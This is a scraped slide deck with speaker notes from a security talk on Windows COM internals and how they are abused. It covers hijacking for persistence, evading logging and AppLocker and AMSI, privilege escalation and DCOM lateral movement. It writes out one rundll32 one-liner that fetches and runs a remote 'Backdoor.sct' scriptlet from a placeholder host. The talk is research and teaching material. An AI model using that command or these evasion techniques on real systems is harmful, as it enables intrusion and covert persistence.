Windows
Operating System
Archaeology
Matt Nelson
Casey Smith
Who Are We?
- Casey Smith (@subTee)
- Mandiant Red Team
- subt0x10.blogspot.com
- Matt Nelson (@enigma0x3)
- Operator and Security Researcher at SpecterOps
- enigma0x3.net
Objectives For This Talk
Foster curiosity & further research
Provide references
Call attention to the attack surface and capabilities
What Will We Discuss?
COM Overview
COM Research Methodology
Malicious COM Tactics
COM Overview
-Brief Background
-Registration
-Resolution
COM Architecture and History - in 2 minutes ;-)
What are COM components?
COM components are cross-language classes backed by:
DLL (Dynamic-Link Libraries)
OCX (ActiveX controls)
TLB (Type Libraries )
EXE (Executables)
SCT ( XML files )
Location Transparency Principle
Example - COM Scriptlet XML
XML Files - We use these for POC examples
Registration Block
COM Object Type Registration
To find a component when a program needs it,
it is USUALLY registered
What Registry keys are related to COM object registration?
HKLM
+ HKCU
HKCR
What registry entries are needed to register a COM object?
https://blogs.msdn.microsoft.com/larryosterman/2006/01/11/what-registry-entries-
are-needed-to-register-a-com-object/
Also XRef:
Minimal COM object registration
https://blogs.msdn.microsoft.com/larryosterman/2006/01/05/minimal-com-object-
registration/
COM Object Type Resolution
CLSID - GUID - {AAAA1111-0000-0000-0000-0000FEEDACDC}
ProgID - String
Monikers - “scriptlet:http://example.com/file.sct”
GetObject - CreateObject Methods
rundll32.exe javascript:"..mshtml,RunHTMLApplication
";a=GetObject('scriptlet:https://example.com/Backdoor.sct');a.Exec();close();
WMI GetObject example
Registry Example
COM Registry Keys
https://msdn.microsoft.com/en-us/library/windows/desktop/ms678477(v=vs.85).aspx
Regsvr32.exe
Regasm.exe
Regsvcs.exe
These tools usually handle the registration and registry key population for us.
Example Call To Create/Locate an Object
What does all this mean?
COM Artifacts and details can be found in the registry.
Usually...
Avoid Registration Process
Sample Objective:
Execute .NET code inside Windows Scripting Host
Without registering the COM object.
Registration-Free COM Activation
Microsoft.Windows.ActCtx Object
Attach a Manifest or Download ManifestURL
Loads dll without registration.
https://github.com/subTee/RegistrationFreeCOM
Windows Operating System Archaeology
RegistrationHelper - Bypass via CScript.exe
https://gist.github.com/subTee/631f859c7890316b7e9a880cf4a51500
Example
https://gist.github.com/subTee/631f859c7890316b7e9a880cf4a51500
In Memory Assembly Execution JScript/VBScript
https://github.com/tyranid/DotNetToJScript
This is Amazing!
Executes a .NET assembly IN JSCRIPT
This dramatically extends capabilities of COM Scriptlets
No Dll On Disk.
Works for .NET 2 and 3.5 Only
Windows Operating System Archaeology
Methodology Examples
Using Procmon to trace resolution
Example - There are DOZENS of these
Excavation Tools
James Forshaw - OleViewDotNet - https://github.com/tyranid/oleviewdotnet
Mark Russonovich - ProcMon - https://technet.microsoft.com/en-
us/sysinternals/processmonitor
RPCView - http://rpcview.org
API Spy - http://www.rohitab.com/apimonitor
Malicious Tactics Overview
Persistence
COM Hijacking - Evasion
Office Add-Ins
Privilege Escalation
Lateral Movement
Persistence via COM Hijacking
Leveraging Per-User COM Objects, we can divert resolution to an object under
our control.
Registry Only Persistence
“TreatAs” hijack
COM handler hijacking (scheduled tasks)
https://msdn.microsoft.com/en-us/library/windows/desktop/ms679737(v=vs.85).aspx
https://github.com/subTee/OSArchaeology/blob/master/COM/TreatAsPersistence.reg
https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and-
com-handler-hijacking/
Persistence via COM Hijacking
DEMO
Registry Only Persistence
Evasion
Windows very often resolves COM objects via the HKCU hive first
Find your favorite script that implements GetObject() or CreateObject() and hijack it.
This allows you to instantiate your own code without exposing it via the command
line.
Abusing WSH: VBScript Injection
Leverage an existing, signed VBScript to run our code
C:WindowsSystem32Printing_Admin_Scriptsen-US
pubprn.vbs
For example: Windows printing script pubprn.vbs calls GetObject on
a parameter we control. Can use this to execute a COM scriptlet
Example: Evade Command Line Logging
slmgr.vbs instantiates Scripting.Dictionary via CreateObject(). Hijack that object to
make it run your code
Source Code of Slmgr.vbs
Default System File
Example: Evade Command Line Logging
This is also a clever way to bypass AppLocker ;-)
Winrm.vbs
Bypass the AntiMalware Scan Interface (AMSI)
Malicious Office Add-ins
Outlook, Excel etc.
Rich API for persistence and C2
https://twitter.com/JohnLaTwC/status/836259629277421568
Outlook Rules Added Via COM Object
https://gist.github.com/subTee/e04a93260cc69772322502545c2121c4
https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/
Privilege Escalation
The COM Elevation Moniker - Resources
-Execute Process in Another user’s session
-Think Terminal Server or RDP etc…
COM - CVE-2017-0100
https://drive.google.com/file/d/0B5sMkPVXQnfPbXI0SVliV0tuU0U/view - James Forshaw
Domain Admin Elevation
http://blog.inspired-sec.com/archive/2017/03/17/COM-Moniker-Privesc.html
@n0pe_sled
Lateral Movement
- Leveraging DCOM objects with no explicit access or launch permissions set
- Certain objects have interesting methods…
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-
com-object/
https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
Windows Operating System Archaeology
Conclusions
Hopeful outcomes of this talk.
Foster curiosity & further research
Provide references
Call attention to the attack surface and capabilities
Closing Thoughts / Conclusions / Thanks
Special Thanks to:
David Mcguire & Jason Frank for their support of this research while we were
working for them.
James Forshaw - For answering our questions and COM research
All of the former ATD members who provided feedback and improvements to our
research!

More Related Content

PPTX
COM Hijacking Techniques - Derbycon 2019
PDF
Hunting Lateral Movement in Windows Infrastructure
PDF
Hunting for Credentials Dumping in Windows Environment
PDF
Hunting for Privilege Escalation in Windows Environment
PDF
Windows attacks - AT is the new black
PDF
How to Hunt for Lateral Movement on Your Network
PDF
Privilege escalation from 1 to 0 Workshop
PDF
A Threat Hunter Himself
COM Hijacking Techniques - Derbycon 2019
Hunting Lateral Movement in Windows Infrastructure
Hunting for Credentials Dumping in Windows Environment
Hunting for Privilege Escalation in Windows Environment
Windows attacks - AT is the new black
How to Hunt for Lateral Movement on Your Network
Privilege escalation from 1 to 0 Workshop
A Threat Hunter Himself

What's hot (20)

PPTX
PSConfEU - Offensive Active Directory (With PowerShell!)
PPTX
Catch Me If You Can: PowerShell Red vs Blue
PDF
PHDays 2018 Threat Hunting Hands-On Lab
PPTX
Bsides 2019 - Intelligent Threat Hunting
PDF
Windows Threat Hunting
PDF
Adversary Emulation and Red Team Exercises - EDUCAUSE
PPTX
Kheirkhabarov24052017_phdays7
PPTX
Taking Hunting to the Next Level: Hunting in Memory
PDF
Fantastic Red Team Attacks and How to Find Them
PPTX
Threat hunting - Every day is hunting season
PDF
When Insiders ATT&CK!
PDF
Hunting malware with volatility v2.0
PPTX
Here Be Dragons: The Unexplored Land of Active Directory ACLs
PDF
What is pentest
PPTX
SSRF For Bug Bounties
PDF
A Threat Hunter Himself
PPTX
Adversary Emulation and the C2 Matrix
PDF
DerbyCon 2019 - Kerberoasting Revisited
PDF
Derbycon - The Unintended Risks of Trusting Active Directory
PDF
Not a Security Boundary
PSConfEU - Offensive Active Directory (With PowerShell!)
Catch Me If You Can: PowerShell Red vs Blue
PHDays 2018 Threat Hunting Hands-On Lab
Bsides 2019 - Intelligent Threat Hunting
Windows Threat Hunting
Adversary Emulation and Red Team Exercises - EDUCAUSE
Kheirkhabarov24052017_phdays7
Taking Hunting to the Next Level: Hunting in Memory
Fantastic Red Team Attacks and How to Find Them
Threat hunting - Every day is hunting season
When Insiders ATT&CK!
Hunting malware with volatility v2.0
Here Be Dragons: The Unexplored Land of Active Directory ACLs
What is pentest
SSRF For Bug Bounties
A Threat Hunter Himself
Adversary Emulation and the C2 Matrix
DerbyCon 2019 - Kerberoasting Revisited
Derbycon - The Unintended Risks of Trusting Active Directory
Not a Security Boundary
Ad

Similar to Windows Operating System Archaeology (20)

PDF
BSides Iowa 2018: Windows COM: Red vs Blue
PDF
Would you Rather Have Telemetry into 2 Attacks or 20? An Insight Into Highly ...
PDF
CNIT 152: 12b Windows Registry
PDF
CNIT 152 12 Investigating Windows Systems (Part 2)
PDF
Blackhat USA 2011 - Cesar Cerrudo - Easy and quick vulnerability hunting in W...
PDF
Analyzing The Audit Statement Provided By The Information...
PDF
DEF CON 27 - workshop - JOSH REYNOLDS - from ek to dek slides
PPTX
On non existent 0-days, stable binary exploits and
PDF
CNIT 152: 12 Investigating Windows Systems (Part 2 of 3)
PDF
12 Investigating Windows Systems (Part 2 of 3)
PPTX
Not a Security Boundary: Bypassing User Account Control
PDF
What Installation Authors Need to Know about COM Extraction
PDF
Esage on non-existent 0-days, stable binary exploits and user interaction
PPTX
BlueHat v17 || “_____ Is Not a Security Boundary." Things I Have Learned and...
PPT
Dominique
PPT
Vista Forensics
PPTX
Lannguyen-Detecting Cyber Attacks
PPTX
“_____ Is Not a Security Boundary: Things I Have Learned and Things That Have...
PDF
Update from the MITRE ATT&CK Team
PDF
Getting Bear-y Cozy with PowerShell
BSides Iowa 2018: Windows COM: Red vs Blue
Would you Rather Have Telemetry into 2 Attacks or 20? An Insight Into Highly ...
CNIT 152: 12b Windows Registry
CNIT 152 12 Investigating Windows Systems (Part 2)
Blackhat USA 2011 - Cesar Cerrudo - Easy and quick vulnerability hunting in W...
Analyzing The Audit Statement Provided By The Information...
DEF CON 27 - workshop - JOSH REYNOLDS - from ek to dek slides
On non existent 0-days, stable binary exploits and
CNIT 152: 12 Investigating Windows Systems (Part 2 of 3)
12 Investigating Windows Systems (Part 2 of 3)
Not a Security Boundary: Bypassing User Account Control
What Installation Authors Need to Know about COM Extraction
Esage on non-existent 0-days, stable binary exploits and user interaction
BlueHat v17 || “_____ Is Not a Security Boundary." Things I Have Learned and...
Dominique
Vista Forensics
Lannguyen-Detecting Cyber Attacks
“_____ Is Not a Security Boundary: Things I Have Learned and Things That Have...
Update from the MITRE ATT&CK Team
Getting Bear-y Cozy with PowerShell
Ad

Recently uploaded (20)

PDF
“The Future of Visual AI: Efficient Multimodal Intelligence,” a Keynote Prese...
PDF
Introduction to MCP and A2A Protocols: Enabling Agent Communication
PDF
substrate PowerPoint Presentation basic one
PDF
Connector Corner: Transform Unstructured Documents with Agentic Automation
PDF
Planning-an-Audit-A-How-To-Guide-Checklist-WP.pdf
PPTX
AI-driven Assurance Across Your End-to-end Network With ThousandEyes
PDF
CEH Module 2 Footprinting CEH V13, concepts
PDF
ment.tech-Siri Delay Opens AI Startup Opportunity in 2025.pdf
PDF
Dell Pro Micro: Speed customer interactions, patient processing, and learning...
PDF
Early detection and classification of bone marrow changes in lumbar vertebrae...
PDF
A hybrid framework for wild animal classification using fine-tuned DenseNet12...
PDF
A symptom-driven medical diagnosis support model based on machine learning te...
PDF
4 layer Arch & Reference Arch of IoT.pdf
PDF
Electrocardiogram sequences data analytics and classification using unsupervi...
PDF
EIS-Webinar-Regulated-Industries-2025-08.pdf
PPTX
Build automations faster and more reliably with UiPath ScreenPlay
PPTX
SGT Report The Beast Plan and Cyberphysical Systems of Control
PPTX
Module 1 Introduction to Web Programming .pptx
PDF
Transform-Your-Streaming-Platform-with-AI-Driven-Quality-Engineering.pdf
PDF
The-Future-of-Automotive-Quality-is-Here-AI-Driven-Engineering.pdf
“The Future of Visual AI: Efficient Multimodal Intelligence,” a Keynote Prese...
Introduction to MCP and A2A Protocols: Enabling Agent Communication
substrate PowerPoint Presentation basic one
Connector Corner: Transform Unstructured Documents with Agentic Automation
Planning-an-Audit-A-How-To-Guide-Checklist-WP.pdf
AI-driven Assurance Across Your End-to-end Network With ThousandEyes
CEH Module 2 Footprinting CEH V13, concepts
ment.tech-Siri Delay Opens AI Startup Opportunity in 2025.pdf
Dell Pro Micro: Speed customer interactions, patient processing, and learning...
Early detection and classification of bone marrow changes in lumbar vertebrae...
A hybrid framework for wild animal classification using fine-tuned DenseNet12...
A symptom-driven medical diagnosis support model based on machine learning te...
4 layer Arch & Reference Arch of IoT.pdf
Electrocardiogram sequences data analytics and classification using unsupervi...
EIS-Webinar-Regulated-Industries-2025-08.pdf
Build automations faster and more reliably with UiPath ScreenPlay
SGT Report The Beast Plan and Cyberphysical Systems of Control
Module 1 Introduction to Web Programming .pptx
Transform-Your-Streaming-Platform-with-AI-Driven-Quality-Engineering.pdf
The-Future-of-Automotive-Quality-is-Here-AI-Driven-Engineering.pdf

Windows Operating System Archaeology

Editor's Notes

  • #2: Casey
  • #3: Casey/Matt
  • #4: Casey
  • #5: Casey
  • #6: Casey
  • #7: Casey https://cansecwest.com/slides/2015/Smart_COM_Fuzzing_Auditing_IE_Sandbox_Bypass_in_COM_Objects-Xiaoning_li.pdf https://www.blackhat.com/docs/us-14/materials/us-14-Forshaw-Digging-For_IE11-Sandbox-Escapes.pdf COM Specification: http://www.daimi.au.dk/~datpete/COT/COM_SPEC/pdf/com_spec.pdf Windows COM Dependency/History/Origins James Forshaw’s talk at Troopers and Infiltrate
  • #8: Casey Necessary For GetObject
  • #9: Casey AppID, CLSID Explain HKCR vs hkcu/hklm
  • #10: Casey
  • #11: Casey https://blogs.msdn.microsoft.com/cristib/2012/10/31/how-com-works-how-to-build-a-com-visible-dll-in-c-net-call-it-from-vba-and-select-the-proper-classinterface-autodispatch-autodual-part12/ Be sure to reference script:http for Matt’s malicious demos
  • #12: Casey Importance Of GetObject
  • #13: Casey
  • #15: Casey From COM Specification
  • #16: Casey
  • #17: Casey
  • #19: Casey
  • #21: Casey
  • #22: Casey (maybe add arrows)
  • #23: Casey
  • #25: Matt Resolution fails as well
  • #26: Matt (reference treatas)
  • #27: Casey/Matt
  • #28: Matt
  • #29: Matt http://www.nobunkum.ru/analytics/en-com-hijacking https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence https://attack.mitre.org/wiki/Technique/T1122
  • #30: Matt
  • #31: Matt
  • #32: Matt
  • #33: Matt
  • #34: Matt Source Code of pubprn.vbs Injectable args(1)
  • #35: Matt
  • #36: Matt Point out why that injection is possible. We can hijack the script at CreateObject - before the rest of the logic!
  • #37: Matt
  • #38: Matt
  • #39: Matt
  • #40: Matt
  • #41: Casey https://msdn.microsoft.com/en-us/library/ms679687.aspx - COM Elevation Moniker https://bugs.chromium.org/p/project-zero/issues/detail?id=1021&can=1&q=&sort=-id%20-%20P0%20EoP Reference Julian n0pe_sleds write up once posted on using this trick to get DA. http://blog.inspired-sec.com/archive/2017/03/17/COM-Moniker-Privesc.html
  • #42: Casey https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=262285 http://blog.inspired-sec.com/archive/2017/03/17/COM-Moniker-Privesc.html Windows HelpPane Elevation of Privilege Vulnerability - CVE-2017-0100 An elevation of privilege exists in Windows when a DCOM object in Helppane.exe configured to run as the interactive user fails to properly authenticate the client. An attacker who successfully exploited the vulnerability could run arbitrary code in another user's session. To exploit the vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability once another user logged in to the same system via Terminal Services or Fast User Switching. The update addresses the vulnerability by correcting how Helppane.exe authenticates the client. The following table contains links to the standard entry for each vulnerability in the Common Vulnerabilities and Exposures list: Vulnerability title CVE number Publicly disclosed Exploited Windows HelpPane Elevation of Privilege Vulnerability CVE-2017-0100 No No
  • #43: Casey
  • #44: Matt
  • #45: Matt
  • #48: Matt